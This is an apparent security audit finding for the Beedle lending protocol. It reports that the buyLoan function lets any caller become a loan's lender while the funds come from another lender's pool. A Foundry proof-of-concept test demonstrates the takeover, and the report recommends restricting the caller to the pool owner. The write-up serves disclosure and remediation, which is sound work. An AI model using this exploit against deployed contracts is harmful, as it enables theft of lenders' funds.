Beedle - Oracle free perpetual lending

Summary

Anyone can become the loan lender by calling the buyLoan function since anyone is able to call that function as long as the loan auction has started.

Vulnerability Details

Let's imagine the following scenario. Alice (a lender) wants to get rid of Bob's (a borrower) loan so she starts an auction. Some user (let's call him Eve) then calls the buyLoan function to put the loan in another pool (it is not needed to be Eve's pool) so then Eve becomes the loan.lender because of this line:

loans[loanId].lender = msg.sender;

Even though Eve is not the lender of the pool he transferred the loan to, he still becomes the lender of the loan.

Proof Of Concept

Add this data structures in the storage in order for the test to work properly:

Borrow[] borrowArray;
uint256[] loanIds;

Add this test in the Lender.t.sol contract to see details:

function testBuyLoan() public {
    vm.startPrank(lender1);
    Pool memory p = Pool({
        lender: lender1,
        loanToken: address(loanToken),
        collateralToken: address(collateralToken),
        minLoanSize: 100*10**18,
        poolBalance: 1000*10**18,
        maxLoanRatio: 2*10**18,
        auctionLength: 2 days,
        interestRate: 1000,
        outstandingLoans: 0
    });
    lender.setPool(p);
    vm.stopPrank();
    
    vm.startPrank(lender2);
    Pool memory p1 = Pool({
        lender: lender2,
        loanToken: address(loanToken),
        collateralToken: address(collateralToken),
        minLoanSize: 100*10**18,
        poolBalance: 1000*10**18,
        maxLoanRatio: 2*10**18,
        auctionLength: 1,
        interestRate: 1000,
        outstandingLoans: 0
    });
    lender.setPool(p1);
    vm.stopPrank();

    bytes32 poolId = lender.getPoolId(lender1, address(loanToken), address(collateralToken));
    bytes32 poolId2 = lender.getPoolId(lender2, address(loanToken), address(collateralToken));

    vm.startPrank(borrower);
    Borrow memory borrow = Borrow({
        poolId: poolId,
        debt: 200e18,
        collateral: 100e18
    });
    
    borrowArray.push(borrow);
    lender.borrow(borrowArray);
    vm.stopPrank();

    loanIds.push(0);

    vm.startPrank(lender1);
    lender.startAuction(loanIds);
    vm.stopPrank();

    vm.warp(block.timestamp + (2 days / 100));

    vm.startPrank(borrower);
    lender.buyLoan(0, poolId2);
    vm.stopPrank();

    (address lender,,,,,,,,,) = lender.loans(0);

    console.log("Lender of loan 0: ", lender);
}

In this test we can see that the lender of the loan is indeed the borrower - address(0x3). The pool owner is lender2 and the funds are taken from his pool (the second pool).

Impact

This means that once someone becomes the loan lender, he can then create his own pool to give that loan to his pool and later withdraw the tokens.
This leads to loss of funds of the original pool lender because now he cannot give the loan or start an auction because he is not the loan lender even though the funds are taken from his pool.

Tools Used

Visual Studio Code, Foundry

Recommendations

The buyLoan function should be restructured as following:

The buyLoan function should only be accessible by someone that has a pool and the executor should only be able to put the loan in his pool (buy the loan). Which means the msg.sender should be the pool.lender.